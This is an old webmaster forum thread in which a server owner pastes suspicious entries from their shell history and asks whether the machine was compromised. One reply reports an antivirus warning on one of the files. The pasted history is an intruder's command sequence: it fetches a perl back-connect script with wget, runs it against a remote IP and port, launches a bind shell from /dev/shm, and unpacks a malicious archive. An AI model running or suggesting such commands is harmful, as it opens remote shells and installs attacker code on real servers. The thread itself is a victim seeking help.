Forum Moderators: phranque

Message Too Old, No Replies

Hacked?

What is this stuff have I been hacked?

         

stinkfoot

3:49 pm on Apr 8, 2007 (gmt 0)

10+ Year Member



Hi,

I found this stuff in my command shell history. It doesnt look to good. Anyone any idea what it is?

cd /var/tmp;wget www.geocities.com/mozi2***weed/dc;perl dc 66.221.194.208 3303;echo BLACKARTw;echo BLACKARTid;echo MUIEcd /dev/shm; cd za ; ./zbind ;echo BLACKARTcd /dev/shm; rm -rf telnet.tgz ; cd za ; ls -al ;echo BLACKARTcd /dev/shm; tar zxvf telnet.tgz ; ls -all ;echo BLACKARTcd /dev/shm; wget [geo***cities.com...] ;echo BLACKARTps x ;echo BLACKARTw ;echo BLACKARTid;echo MUIEid;echo MUIE/usr/sbin/apachectl graceful

Hope you can help.

[edited by: jdMorgan at 4:48 pm (utc) on April 8, 2007]
[edit reason] Obscured potentially-dangerous URLs [/edit]

maccas

4:05 pm on Apr 8, 2007 (gmt 0)

10+ Year Member



telnet.tgz gave me a avira virus warning for [en.wikipedia.org...]